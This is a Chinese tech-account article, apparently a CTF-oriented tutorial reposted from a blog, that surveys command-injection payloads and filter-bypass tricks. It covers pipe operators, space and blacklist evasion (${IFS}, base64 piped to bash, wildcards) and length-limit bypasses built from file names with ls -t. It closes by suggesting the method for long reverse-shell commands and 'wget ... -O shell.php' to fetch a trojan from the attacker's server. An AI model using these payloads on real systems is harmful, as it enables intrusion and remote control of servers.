命令执行漏洞利用及绕过方式总结
My_Dream 信安黑客技术 2023-04-26 14:01 发表于福建
命令注入常见的方法
1.常见管道符

  Windows系统支持的管道符

  Linux系统支持的管道符

2.空格过滤

  ${IFS}

  重定向符<>

  %09(需要php环境)

3.黑名单绕过

  拼接

  base64编码

  单引号,双引号

  反斜线

  $1,$2等和$@

4.读文件绕过

5.通配符绕过

6.内敛执行绕过

7.绕过长度限制

  Linux中的>符号和>>符号

  Linux中命令换行

  利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

逐一分析
1.常见管道符
Windows系统支持的管道符

|直接执行后面的语句

图片

||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

图片

&前面和后面命令都要执行,无论前面真假

图片

&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

图片

Linux系统支持的管道符

|、||、&、&&这四种管道符都存在且用法和Windows系统下一样,多了一个;管道符,作用和&一样

2.空格过滤
${IFS}

payload1:

图片

payload2:

图片

payload3:

图片

重定向符<>

payload1:

图片

payload2:

图片

%09(需要php环境)

图片

黑名单绕过
拼接

图片

base64编码

payload1:

root@kali:~# echo "Y2F0IGZsYWc="|base64 -d
this is your flag

payload2:

root@kali:~# echo “Y2F0IGZsYWc=”|base64 -d|bash
this is your flag

单引号,双引号

图片

反斜线

图片

$1,$2等和$@

图片

读文件绕过
当cat被过滤时,可以使用如下命令代替

1 (1)more:一页一页的显示档案内容
2 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3 (3)head:查看头几行
4 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5 (5)tail:查看尾几行
6 (6)nl:显示的时候,顺便输出行号
7 (7)od:以二进制的方式读取档案内容
8 (8)vi:一种编辑器,这个也可以查看
9 (9)vim:一种编辑器,这个也可以查看
10 (10)sort:可以查看
11 (11)uniq:可以查看
12 (12)file -f:报错出具体内容

通配符绕过
比如

1 root@kali:# /???/?[a][t] ?’’?’’?’’?’’
2 this is your flag
3 xx
4 cc
5 xa
6 /bin/cat: test: 是一个目录
7 root@kali:
# /???/?at flag
8 this is your flag
9 xx
10 cc
11 xa
12 root@kali:# /???/?at ????
13 this is your flag
14 xx
15 cc
16 xa
17 /bin/cat: test: 是一个目录
18 root@kali:
# /???/?[a]’’[t] ?’’?’’?’’?’’
19 this is your flag
20 xx
21 cc
22 xa
23 /bin/cat: test: 是一个目录

内敛执行绕过
命令和$(命令)都是执行命令的方式

图片

绕过长度限制
Linux中的>符号和>>符号

(1)通过>来创建文件

图片

(2)通过>将命令结果存入文件中
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入

图片

(3)>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

图片

Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
比如一条命令cat flag可以如下表示

图片

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

root@kali:# echo “ca\“>cmd
root@kali:
# echo “t\“>>cmd
root@kali:# echo “ fl\“>>cmd
root@kali:
# echo “ag”>>cmd
root@kali:# cat cmd
ca
t
fl
ag
root@kali:
# sh cmd
this is your flag

用这种方法可以绕过一些长度限制读取文件内容。微信搜索公众号:Linux技术迷,回复:linux 领取资料 。

利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

root@kali:/example# touch a
root@kali:
/example# touch b
root@kali:/example# touch c
root@kali:
/example# ls -t
c b a

我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)

root@kali:/example# ls -t>ghtwf01
root@kali:
/example# cat ghtwf01
ghtwf01
c
b
a
这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件
我们试试用这些方法来执行命令cat flag

root@kali:/example# > “ag”
root@kali:
/example# > “fl\“
root@kali:/example# > “t \“
root@kali:
/example# > “ca\“
root@kali:/example# ls -t
‘ca' ‘t ' ‘fl' ag flag
root@kali:
/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found

读取到了flag内容为this is your flag,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:

linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

反弹shell命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件。

参考:https://www.ghtwf01.cn/index.php/archives/273/
作者:My_Dreams
原文链接:https://www.cnblogs.com/zzjdbk/p/13491028.html

注:如有侵权请联系删除
图片

读到这里说明你喜欢本公众号的文章,欢迎 置顶(标星)本公众号 Linux技术迷,这样就可以第一时间获取推送了~

在本公众号 Linux技术迷,后台回复:Linux,领取2T学习资料 !
推荐阅读

  1. Linux 中 find 命令的 35 个实际例子
  2. 运维必备的《网络端口大全》,看这一份就够了
  3. Linux 学习指南 (收藏篇)
  4. 2万字系统总结,带你实现Linux命令自由
    图片
    图片
    阅读 337
    写下你的留言

  目录